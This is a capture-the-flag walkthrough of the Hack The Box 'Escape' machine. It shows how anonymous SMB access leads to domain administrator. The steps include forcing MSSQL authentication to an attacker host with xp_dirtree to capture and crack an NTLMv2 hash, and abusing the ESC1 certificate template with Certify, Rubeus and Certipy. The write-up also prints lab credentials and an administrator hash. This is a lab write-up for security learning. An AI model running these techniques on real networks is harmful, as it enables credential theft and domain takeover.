Escape

Join The Best Hacking Community Worldwide | Hack The Box

Over half a million platform members exhange ideas and methodologies. Be one of us and help the community grow even further!

www.hackthebox.com

Run a quick nmap scan

What is the domain name for Escape as enumerated from the LDAP service? sequel.htb

What is the name of the non-standard SMB share on Escape? Public

To enumerate SMB shares we will try list out the shares using smbclient and anonymous login

What is the password for the PublicUser on MSSQL?

We will enumerate SMB share a bit more to find out. We will download SQL Server Procedures.pdf.

Upon reading the pdf, we get the public user credentials

cmdkey /add:"<serverName>.sequel.htb" /user:"sequel\<userame>" /pass:<password>

user PublicUser and password GuestUserCantWrite1

What user is the MSSQL instance running as? sql_svc

Get the MSSQL server to read a file from an SMB host you control, and watch for the authentication.

With the creds, I can connect to the MSSQL server. I’ll use the Impacket tool mssqlclient.py:

There are four databases on this server:

SQL (PublicUser  guest@master)> select name from master..sysdatabases;
name     
------   
master   

tempdb   

model    

msdb     

I tried running commands through MSSQL server using the xp_cmdshell stored procedure. Unfortunately I get permission denied:

SQL (PublicUser  guest@master)> xp_cmdshell whoami;
ERROR(DC\SQLMOCK): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.

The next thing to try is to get the SQL server to connect back to our host and authenticate, and capture a challenge or response.

We will start Responder here as root listening on a bunch of services for the tun0 interface:

Remember to turn off unnecessary services such as HTTPS, LDAPS and winRM in Responder config

└─$ sudo nano /usr/share/responder/Responder.conf

Now we will tell MSSQL to read a file on a share on my host:

SQL (PublicUser  guest@master)> EXEC xp_dirtree '\\10.10.14.8\share', 1, 1
subdirectory   depth   file   
------------   -----   ----   

The responder captures hash

We will use hashcat to crack this NTLMv2 Hhsh.

We can identify which hashcat module number to use by running

└─$ hashcat --help | grep -i ntlmv2

   5600 | NetNTLMv2                                                  | Network Protocol
  27100 | NetNTLMv2 (NT)                                             | Network Protocol

We will copy and save the hash as sql_svc.hash and will run hashcat to crack it

└─$ hashcat -m 5600 sql_svc.hash /usr/share/wordlists/rockyou.txt

What is the sql_svc user's password? REGGIE1234ronnie

What is the Ryan.Cooper user's password? Enumerate the SQLServer logs. It seems Ryan entered a password as a username at least once.

Running nxc winrm we can see that winrm is enabled on the DC

└─$ nxc winrm 10.129.228.253                                                                         
WINRM       10.129.228.253  5985   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:sequel.htb)

Use evil-winrm with sql_svc’s credential

Navigating through the directory, we can see a log file in C:\SQLServer\Logs\ERRORLOG.BAK

*Evil-WinRM* PS C:\SQLServer\Logs> ls


    Directory: C:\SQLServer\Logs


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         2/7/2023   8:06 AM          27608 ERRORLOG.BAK


*Evil-WinRM* PS C:\SQLServer\Logs> cat ERRORLOG.BAK

Upon reading through the logs, we see Ryan.Cooper has entered his password.

Open up another evil-winrm session using Ryan Cooper’s credential.

Find the user.txt located on Ryan’s Desktop.

What is the name of the vulnerable ADCS template on Escape? Try a tool like Certify or Certipy to enumerate ADCS. We will look for Active Directory Certificate Services (ADCS). A quick way to check for this is using nxc or crackmampexec

We will need to see if there are any templates in this ADCS that are insecurely configured. To enumerate further, we will upload a copy of Certify by downloading a copy from SharpCollection, and uploading it to Escape:

*Evil-WinRM* PS C:\Users\Ryan.Cooper\documents> upload Certify.exe
                                        
Info: Uploading /home/kali/Tools/Certify.exe to C:\Users\Ryan.Cooper\documents\Certify.exe
                                        
Data: 238248 bytes of 238248 bytes copied
                                        
Info: Upload successful!

We will run Certify.exe find /vulnerable /currentuser to look across the groups for the current user. The Certify then lists a single vulnerable certificate template:

The danger here is that sequel\Domain Users has Enrollment Rights for the certificate.

What is the name of the vulnerable ADCS template on Escape? UserAuthentication

What is the administrator user's NTLM hash? Exploit the ESC1 vulnerability in the UserAuthentication template to leak this. We will run Certify.exe to request a certificate with an alternative name of administrator. It returns a cert.pem:

 We will copy everything from -----BEGIN RSA PRIVATE KEY----- to -----END CERTIFICATE----- into a file on my host and convert it to a .pfx using the command given, entering no password when prompted:

└─$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:

We will upload cert.pfx, as well as a copy of Rubeus (downloaded from SharpCollection), and then run the asktgt command, passing it the certificate to get a TGT as administrator:

*Evil-WinRM* PS C:\Users\Ryan.Cooper\documents> upload Rubeus.exe
*Evil-WinRM* PS C:\Users\Ryan.Cooper\documents> upload cert.pfx

It works! However, Rubeus tries to load the returned ticket directly into the current session, so in theory, once we run this we could just enter administrator’s folders and get the flag. However, this doesn’t work on Evil-WinRM.

Instead, we are going to run the same command with /getcredentials /show /nowrap. This will do the same thing, and try to dump credential information about the account:

The last line is the NTLM hash for the administrator account.

An alternative tool to accomplish the same thing is Certipy, which is nice because I can run it remotely from my VM. It has a find command that will identify the vulnerable template: (Install Certipy by running)

└─$ sudo apt install pipx
└─$ pipx install certipy-ad

And req allows us to get the .pfx certificate just like what we did with Certify.exe and openssl above:

The auth command will take that certificate (administrator.pfx) and get the hash.

└─$ certipy auth -pfx administrator.pfx 
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

I noted above that there was an eight hour different in clock times. I can sync the clock with Escape using ntpdate:

└─$ sudo ntpdate -u sequel.htb
2024-10-12 12:43:01.268731 (-0400) +28800.405648 +/- 0.095215 sequel.htb 10.129.228.253 s1 no-leap
CLOCK: time stepped by 28800.405648

Now we can dump the hash:

└─$ certipy auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee

We can now connect to DC using Evil-WinRm using the NTLM hash of administrator:

We can get root.txt on Administrator’s Desktop

References

• https://0xdf.gitlab.io/2023/06/17/htb-escape.html
• https://github.com/ly4k/Certipy
• https://github.com/GhostPack/Certify
• https://github.com/Flangvik/SharpCollection/tree/master/NetFramework_4.7_Any